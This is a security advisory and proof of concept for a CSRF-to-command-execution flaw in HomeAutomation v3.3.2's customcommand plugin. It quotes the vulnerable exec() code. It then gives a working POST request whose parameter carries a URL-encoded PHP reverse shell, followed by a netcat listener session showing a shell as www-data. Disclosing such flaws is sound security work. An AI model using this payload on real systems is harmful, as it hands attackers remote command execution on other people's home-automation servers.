HomeAutomation v3.3.2 CSRF Remote Command Execution (PHP Reverse Shell) PoC

Vendor: Tom Rosenback and Daniel Malmgren
Product web page: http://karpero.mine.nu/ha/
Affected version: 3.3.2

Summary: HomeAutomation is an open-source web interface and scheduling solution.
It was initially made for use with the Telldus TellStick, but is now based on a
plugin system and except for Tellstick it also comes with support for Crestron,
OWFS and Z-Wave (using OpenZWave). It controls your devices (switches, dimmers,
etc.) based on an advanced scheduling system, taking into account things like
measurements from various sensors. With the houseplan view you can get a simple
overview of the status of your devices at their location in your house.

Desc: The application suffers from an authenticated OS command execution vulnerability
using custom command v0.1 plugin. This can be exploited with CSRF vulnerability to
execute arbitrary shell commands as the web user via the 'set_command_on' and 'set_command_off'
POST parameters in '/system/systemplugins/customcommand/customcommand.plugin.php' by
using an unsanitized PHP exec() function.

===============================================================================
/system/systemplugins/customcommand/customcommand.plugin.php:
-------------------------------------------------------------

77:   function toggleDevices($devicesToToggle, $statuses) {
78:     $output = array();
79:     $command = "";
80: 
81:     foreach($devicesToToggle as $device)
82:     {
83:       $status = $statuses[$device["id"]];
84:       if($status == 0) {
85:         $command = $this->getSettings("command_off");
86:       } else {
87:         $command = $this->getSettings("command_on");
88:       }
89: 
90:       if(!empty($command)) {
91:         $command = replaceCustomStrings($command, $device, $statuses[$device["id"]]);
92: 
93:         exec($command, $output);
94: 
95:         SaveLog("Command: ".$command."\nOutput:\n".parseExecOutputToString($output));
96:       }
97:     }
98: 
99:     return "";
100:   }
===============================================================================

Tested on: Apache/2.4.41 (centos) OpenSSL/1.0.2k-fips
           Apache/2.4.29 (Ubuntu)
           PHP/7.4.0RC4
           PHP/7.3.11
           PHP 7.2.24-0ubuntu0.18.04.1


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience


Advisory ID: ZSL-2019-5560
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2019-5560.php


06.11.2019

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POST /homeautomation_v3_3_2/?page=conf-systemplugins HTTP/1.1

plugin=customcommand&action=savesettings&set_command_on=php+-r+%27%24sock%3Dfsockopen%28%22127.0.0.1%22%2C4444%29%3Bexec%28%22%2Fbin%2Fsh+-i+%3C%263+%3E%263+2%3E%263%22%29%3B%27&set_command_off=&savesettings=Save

-

lqwrm@metalgear:/$ nc -lvp 4444
Listening on [0.0.0.0] (family 0, port 4444)
Connection from localhost 40724 received!
/bin/sh: 0: can't access tty; job control turned off
$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
$ pwd
/var/www/html/homeautomation_v3_3_2
$ exit
lqwrm@metalgear:/$